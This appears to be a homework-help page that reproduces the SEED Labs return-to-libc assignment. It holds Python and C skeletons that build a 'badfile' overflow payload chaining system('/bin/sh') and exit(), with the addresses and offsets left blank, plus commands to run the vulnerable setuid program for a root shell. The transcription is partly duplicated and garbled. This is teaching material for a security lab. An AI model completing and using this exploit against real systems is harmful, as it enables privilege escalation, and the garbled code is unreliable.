Answered step by step
Verified Expert Solution
Link Copied!

Question

1 Approved Answer

2.5 Task 3: Exploiting the buffer-overflow vulnerability We are ready to create the content of badfile. Since the content involves some binary data (e.g., the

image text in transcribed

image text in transcribed

image text in transcribed

2.5 Task 3: Exploiting the buffer-overflow vulnerability We are ready to create the content of badfile. Since the content involves some binary data (e.g., the address of the libc functions), we can use C or Python to do the construction. Using Python. We provide you with a skeleton of the code, with the essential parts left for you to fill out. #!/usr/bin/python3 import sys # Fill content with non-zero values content = bytearray (Oxaa for i in range (300)) SEED Labs - Return-to-libc Attack Lab sh_addr = 0x00000000 # The address of "/bin/sh" content [X:X+4] = (sh_addr).to_bytes (4, byteorder='little') system_addr = 0x00000000 # The address of system) content [Y:Y+4] = (system_addr).to_bytes (4, byteorder='little') exit_addr = 0x00000000 # The address of exit() content [2:2+4] = (exit_addr).to_bytes (4, byteorder='little') # Save content to a file with open ("badfile", "wb") as f: f.write (content) You need to figure out the three addresses and the values of X, Y, and Z. If your values are incorrect, your attack might not work. In your report, you need to describe how you decide the values for X, Y and Z. Either show us your reasoning or, if you use a trial-and-error approach, show your trials. Using C. We provide you with a skeleton of the code, with the essential parts left for you to fill out. /* exploit.c */ #include #include #include int main(int argc, char **argv) char buf[40]; FILE *badfile; badfile = fopen("./badfile", "W"); /* You need to decide the addresses and the values for X, Y, 2. The order of the following three statements does not imply the order of X, Y, 2. Actually, we intentionally scrambled the order. * (long *) &buf[X] = some address; // "/bin/sh" * (long *) &buf[Y] = some address; // system) * (long *) &buf[2] = some address; // exit() fwrite(buf, sizeof(buf), l, badfile); fclose (badfile); You need to figure out the addresses in lines marked by *, as well as to find out where to store those addresses (i.e., the values for X, Y, and z). If your values are incorrect, your attack might not work. In your report, you need to describe how you decide the values for X, Y and Z. Either show us your reasoning or, if you use a trial-and-error approach, show your trials. After you finish the above program, compile and run it; this will generate the contents for badfile. Run the vulnerable program retlib. If your exploit is implemented correctly, when the function bof() returns, it will return to the system () function, and execute system("/bin/sh"). If the vulnerable program is running with the root privilege, you can get the root shell at this point. SEED Labs - Return-to-libc Attack Lab $ gcc -o exploit exploit.c $./exploit // create the badfile $./retlib // launch the attack by running the vulnerable program # #include #include int main(int argc, char **argv) char buf[40]; FILE *badfile; badfile = fopen("./badfile", "W"); /* You need to decide the addresses and the values for X, Y, 2. The order of the following three statements does not imply the order of X, Y, 2. Actually, we intentionally scrambled the order. * (long *) &buf[X] = some address; // "/bin/sh" * (long *) &buf[Y] = some address; // system) * (long *) &buf[2] = some address; // exit() fwrite(buf, sizeof(buf), l, badfile); fclose (badfile); You need to figure out the addresses in lines marked by *, as well as to find out where to store those addresses (i.e., the values for X, Y, and z). If your values are incorrect, your attack might not work. In your report, you need to describe how you decide the values for X, Y and Z. Either show us your reasoning or, if you use a trial-and-error approach, show your trials. After you finish the above program, compile and run it; this will generate the contents for badfile. Run the vulnerable program retlib. If your exploit is implemented correctly, when the function bof() returns, it will return to the system () function, and execute system("/bin/sh"). If the vulnerable program is running with the root privilege, you can get the root shell at this point. SEED Labs - Return-to-libc Attack Lab $ gcc -o exploit exploit.c $./exploit // create the badfile $./retlib // launch the attack by running the vulnerable program #

Step by Step Solution

There are 3 Steps involved in it

Step: 1

blur-text-image

Get Instant Access to Expert-Tailored Solutions

See step-by-step solutions with expert insights and AI powered tools for academic success

Step: 2

blur-text-image_2

Step: 3

blur-text-image_3

Ace Your Homework with AI

Get the answers you need in no time with our AI-driven, step-by-step assistance

Get Started

Recommended Textbook for

Advanced MySQL 8 Discover The Full Potential Of MySQL And Ensure High Performance Of Your Database

Authors: Eric Vanier ,Birju Shah ,Tejaswi Malepati

1st Edition

1788834445, 978-1788834445

More Books

Students also viewed these Databases questions

Question

2. Describe ways in which organizational culture is communicated

Answered: 1 week ago